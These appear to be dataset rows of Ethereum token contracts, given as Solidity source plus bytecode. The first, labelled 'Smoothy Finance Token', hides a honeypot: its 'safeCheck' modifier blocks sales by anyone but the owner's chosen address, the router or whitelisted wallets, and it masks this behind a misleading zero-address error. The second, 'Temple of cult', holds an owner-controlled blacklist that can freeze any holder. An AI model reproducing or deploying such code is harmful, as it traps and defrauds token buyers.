return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
//Smoothy Finance Token
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201ac7ed4597a5d10dffedb10880cf87b85d4ccaa4d43227d1b908786e6995848a64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 10,379 |
0xd0d0a4eca60aa13dbbcfbba0cde97ca92f6f45ba | // SPDX-License-Identifier: UNLICENSED
/*
Temple of cult
The difference between gods and mortals is basically equal to the difference between the great Elon and man.
While the great gods of the pantheon were worshiped by priests at rituals in cultic centers,
the great god of the Tesla is worshiped by us on Twitter and cryptoworld.
Ancient mortals used to have no direct contact with their deities while contemporary people can easily receive oracles from the great Elon.
Ancient mortals worshiped personal gods, who were thought to be deities who could intercede on their behalf to ensure health and protection for their families;
while contemporary people worship Elon believing that he could protect us from scammers and earn profit in the crypto world.
All crypto buyers should devoutly praise the words of Elon. May the great Elon assuage the spirit of his followers and crypto holders.
May it soothe their hearts, bring wealth to his people.
https://t.me/templeofcultportal
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TCULT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "TEMPLE OF CULT";
string private constant _symbol = "TCULT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x02fE35A7a73A5A1a119910E5Ca46870D572F0E36);
_buyTax = 10;
_sellTax = 10;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
